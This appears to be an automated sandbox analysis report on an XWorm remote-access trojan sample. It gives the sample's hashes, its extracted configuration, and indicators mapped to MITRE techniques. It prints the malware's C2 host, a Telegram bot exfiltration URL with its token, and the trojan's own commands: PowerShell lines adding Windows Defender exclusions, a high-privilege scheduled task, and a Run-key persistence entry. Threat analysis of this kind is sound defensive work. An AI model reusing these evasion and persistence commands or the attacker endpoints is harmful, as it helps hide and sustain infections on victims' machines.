xworm | 404a515445e44719d42c8689968c39b4903d9fb65bab7624cd14a943b7809ae8

Analysis

max time kernel
550s
max time network
367s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
30-06-2024 19:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

22Executor.exe
Size

14.3MB
MD5

2f6ccdc5a983127eb4619c0131b22f74
SHA1

ea606124c913238a1cd06ed46cf297467634745a
SHA256

404a515445e44719d42c8689968c39b4903d9fb65bab7624cd14a943b7809ae8
SHA512

97ebbd6814cc8451ed14f573bcf9d81f025e2a127df71f6632eece8886952edda5ed075a48f88e859a044c6070bfd64035922ff171689df8b3f6428813d1c9a1
SSDEEP

1536:efT1xxuiGO+oS2tXFlGXyjXnq7CkHOHmvkKUUgFv2qsFjAk1CortszhXXIX8xe2X:G2HoZXFlAyjrkHOHRFsFcGtsz1ef29d

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

tr3.localto.net:44953

Attributes

Install_directory
%ProgramData%
install_file
svchhost.exe
telegram
https://api.telegram.org/bot6919369290:AAGnnKr1Yo67mV9jYUriuVi-XAno2tdvbq0/sendMessage?chat_id=6340808873

Signatures

Detect Xworm Payload 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe	family_xworm
behavioral1/memory/1192-26-0x0000000000C10000-0x0000000000C2C000-memory.dmp	family_xworm
behavioral1/memory/2176-60-0x0000000001180000-0x000000000119C000-memory.dmp	family_xworm
behavioral1/memory/1148-62-0x0000000001370000-0x000000000138C000-memory.dmp	family_xworm
behavioral1/memory/1384-64-0x00000000002D0000-0x00000000002EC000-memory.dmp	family_xworm
behavioral1/memory/1692-68-0x0000000001200000-0x000000000121C000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2624 powershell.exe
800 powershell.exe
2872 powershell.exe
2196 powershell.exe
1640 powershell.exe

pid	process
2624	powershell.exe
800	powershell.exe
2872	powershell.exe
2196	powershell.exe
1640	powershell.exe

Drops startup file 4 IoCs

Processes:

22Exe.exe22Executor.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchhost.lnk	22Exe.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe	22Executor.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe	22Executor.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchhost.lnk	22Exe.exe

Executes dropped EXE 6 IoCs

Processes:

22.exe22Exe.exesvchhost.exesvchhost.exesvchhost.exesvchhost.exe

pid process

3060 22.exe
1192 22Exe.exe
2176 svchhost.exe
1148 svchhost.exe
1384 svchhost.exe
1692 svchhost.exe
Loads dropped DLL 5 IoCs

Processes:

WerFault.exe

pid process

3036 WerFault.exe
3036 WerFault.exe
3036 WerFault.exe
3036 WerFault.exe
3036 WerFault.exe
Adds Run key to start application 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1547.001

Modify Registry
T1112

Processes:

22Exe.exe

description ioc process

Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchhost = "C:\\ProgramData\\svchhost.exe" 22Exe.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3036 3060 WerFault.exe 22.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2600 timeout.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

2676 schtasks.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

22Exe.exe

pid process

1192 22Exe.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe22Exe.exe

pid process

2624 powershell.exe
800 powershell.exe
2872 powershell.exe
2196 powershell.exe
1640 powershell.exe
1192 22Exe.exe

pid	process
3060	22.exe
1192	22Exe.exe
2176	svchhost.exe
1148	svchhost.exe
1384	svchhost.exe
1692	svchhost.exe

pid	process
3036	WerFault.exe
3036	WerFault.exe
3036	WerFault.exe
3036	WerFault.exe
3036	WerFault.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchhost = "C:\\ProgramData\\svchhost.exe"	22Exe.exe

flow	ioc
2	ip-api.com

pid	pid_target	process	target process
3036	3060	WerFault.exe	22.exe

pid	process
2600	timeout.exe

pid	process
2676	schtasks.exe

pid	process
1192	22Exe.exe

pid	process
2624	powershell.exe
800	powershell.exe
2872	powershell.exe
2196	powershell.exe
1640	powershell.exe
1192	22Exe.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

powershell.exe22Exe.exepowershell.exepowershell.exepowershell.exepowershell.exesvchhost.exesvchhost.exesvchhost.exesvchhost.exe

description	pid	process
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	1192	22Exe.exe
Token: SeDebugPrivilege	800	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	1192	22Exe.exe
Token: SeDebugPrivilege	2176	svchhost.exe
Token: SeDebugPrivilege	1148	svchhost.exe
Token: SeDebugPrivilege	1384	svchhost.exe
Token: SeDebugPrivilege	1692	svchhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

22Exe.exe

pid process

1192 22Exe.exe

pid	process
1192	22Exe.exe

Suspicious use of WriteProcessMemory 50 IoCs

Processes:

22Executor.exe22.exe22Exe.exetaskeng.execmd.exe

description	pid	process	target process
PID 2792 wrote to memory of 3060	2792	22Executor.exe	22.exe
PID 2792 wrote to memory of 3060	2792	22Executor.exe	22.exe
PID 2792 wrote to memory of 3060	2792	22Executor.exe	22.exe
PID 2792 wrote to memory of 3060	2792	22Executor.exe	22.exe
PID 2792 wrote to memory of 2624	2792	22Executor.exe	powershell.exe
PID 2792 wrote to memory of 2624	2792	22Executor.exe	powershell.exe
PID 2792 wrote to memory of 2624	2792	22Executor.exe	powershell.exe
PID 2792 wrote to memory of 1192	2792	22Executor.exe	22Exe.exe
PID 2792 wrote to memory of 1192	2792	22Executor.exe	22Exe.exe
PID 2792 wrote to memory of 1192	2792	22Executor.exe	22Exe.exe
PID 3060 wrote to memory of 3036	3060	22.exe	WerFault.exe
PID 3060 wrote to memory of 3036	3060	22.exe	WerFault.exe
PID 3060 wrote to memory of 3036	3060	22.exe	WerFault.exe
PID 3060 wrote to memory of 3036	3060	22.exe	WerFault.exe
PID 1192 wrote to memory of 800	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 800	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 800	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 2872	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 2872	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 2872	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 2196	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 2196	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 2196	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 1640	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 1640	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 1640	1192	22Exe.exe	powershell.exe
PID 1192 wrote to memory of 2676	1192	22Exe.exe	schtasks.exe
PID 1192 wrote to memory of 2676	1192	22Exe.exe	schtasks.exe
PID 1192 wrote to memory of 2676	1192	22Exe.exe	schtasks.exe
PID 2192 wrote to memory of 2176	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 2176	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 2176	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1148	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1148	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1148	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1384	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1384	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1384	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1692	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1692	2192	taskeng.exe	svchhost.exe
PID 2192 wrote to memory of 1692	2192	taskeng.exe	svchhost.exe
PID 1192 wrote to memory of 2680	1192	22Exe.exe	schtasks.exe
PID 1192 wrote to memory of 2680	1192	22Exe.exe	schtasks.exe
PID 1192 wrote to memory of 2680	1192	22Exe.exe	schtasks.exe
PID 1192 wrote to memory of 2896	1192	22Exe.exe	cmd.exe
PID 1192 wrote to memory of 2896	1192	22Exe.exe	cmd.exe
PID 1192 wrote to memory of 2896	1192	22Exe.exe	cmd.exe
PID 2896 wrote to memory of 2600	2896	cmd.exe	timeout.exe
PID 2896 wrote to memory of 2600	2896	cmd.exe	timeout.exe
PID 2896 wrote to memory of 2600	2896	cmd.exe	timeout.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\22Executor.exe
"C:\Users\Admin\AppData\Local\Temp\22Executor.exe"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2792

C:\Users\Admin\AppData\Local\Temp\22.exe
"C:\Users\Admin\AppData\Local\Temp\22.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 628
3⤵
- Loads dropped DLL
- Program crash
PID:3036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22Exe.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchhost.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchhost.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchhost" /tr "C:\ProgramData\svchhost.exe"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2676

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /f /tn "svchhost"
3⤵
PID:2680

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp42BB.tmp.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:2896

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:2600

C:\Windows\system32\taskeng.exe
taskeng.exe {1A384BA2-7F54-4CBD-857C-30168D4CB142} S-1-5-21-39690363-730359138-1046745555-1000:EILATWEW\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2192

C:\ProgramData\svchhost.exe
C:\ProgramData\svchhost.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2176

C:\ProgramData\svchhost.exe
C:\ProgramData\svchhost.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1148

C:\ProgramData\svchhost.exe
C:\ProgramData\svchhost.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1384

C:\ProgramData\svchhost.exe
C:\ProgramData\svchhost.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1692

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\22.exe
Filesize
53KB

MD5
26f0ceb6deadcade5fc0f8c407039d85

SHA1
40c28e32bcb62ed98d91344b6bb202aee3b45a96

SHA256
aa084872bd13860993b33d46aa7285e1828d3139aba727a644a93d519491f18f

SHA512
71683db2320e0a6c73cbffc1855c1345ced2bbc0a44feeb0e0372ee184e57208a47d896de3b14a18fcaacd1ec9a632052074ffcf6a483f06e07a7650cffc4181

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp42BB.tmp.bat
Filesize
200B

MD5
dca9ac5c70e6c32da91d5406830e3f6e

SHA1
aa66dbbfab74f39a1a4d5eecbd68aac91ff979d6

SHA256
e7138dc3677b7964bf6972e73dc78758ad6aac1db1166c3db3bce2092f5f0452

SHA512
deab00a34f3292d04e83dbb18d01a14b6d06d2be361912ea55a350321721527f9bc2e3223ae67084b19444413abb3dbea88f26520f6e87385c9bea6bfcf1814b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
6cf61c127273bbc2a1f6996be714636c

SHA1
3ccee32a1af3ea9ffab6f06fd22d62e2bc463b60

SHA256
5e320d7c2011b345e26216f4681437ccabf76775529ab712abfc52f288247663

SHA512
55077d7898b83a448a9bdb3f5dad92580a49e8f247a426256d0b68d7395e0513934badb9cb85b1b8f30aa7a99fee4a51d4a5ed8b5ad57843beac5cbb9b90ea25

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\22Exe.exe
Filesize
89KB

MD5
a748f90b8a2ae76abca49e988f684448

SHA1
4fdb6d05574d6da4dec15c532ab773e2b6edcaf6

SHA256
d0928439360838dfdbfefe96ef20922518ee0a9224ad17372587dce5894df41a

SHA512
6401b64a363a40d11317d33aa0aed26c6a6a191661e6eadc653b2b4deef24120b715bc83748d4f41ff3afbb145c466898b74cc252c6fb2dadc8dbb1b36f83bb2

Download Submit
memory/800-33-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/800-34-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/1148-62-0x0000000001370000-0x000000000138C000-memory.dmp

Filesize
112KB

Download
memory/1192-26-0x0000000000C10000-0x0000000000C2C000-memory.dmp

Filesize
112KB

Download
memory/1192-66-0x000000001AD10000-0x000000001AD1C000-memory.dmp

Filesize
48KB

Download
memory/1192-65-0x000000001AB00000-0x000000001AB0C000-memory.dmp

Filesize
48KB

Download
memory/1384-64-0x00000000002D0000-0x00000000002EC000-memory.dmp

Filesize
112KB

Download
memory/1692-68-0x0000000001200000-0x000000000121C000-memory.dmp

Filesize
112KB

Download
memory/2176-60-0x0000000001180000-0x000000000119C000-memory.dmp

Filesize
112KB

Download
memory/2624-13-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2624-14-0x00000000022F0000-0x00000000022F8000-memory.dmp

Filesize
32KB

Download
memory/2792-0-0x000007FEF612E000-0x000007FEF612F000-memory.dmp

Filesize
4KB

Download
memory/2792-21-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-1-0x000007FEF5E70000-0x000007FEF680D000-memory.dmp

Filesize
9.6MB

Download
memory/2872-41-0x0000000001EA0000-0x0000000001EA8000-memory.dmp

Filesize
32KB

Download
memory/2872-40-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/3060-12-0x0000000000C30000-0x0000000000C44000-memory.dmp

Filesize
80KB

Download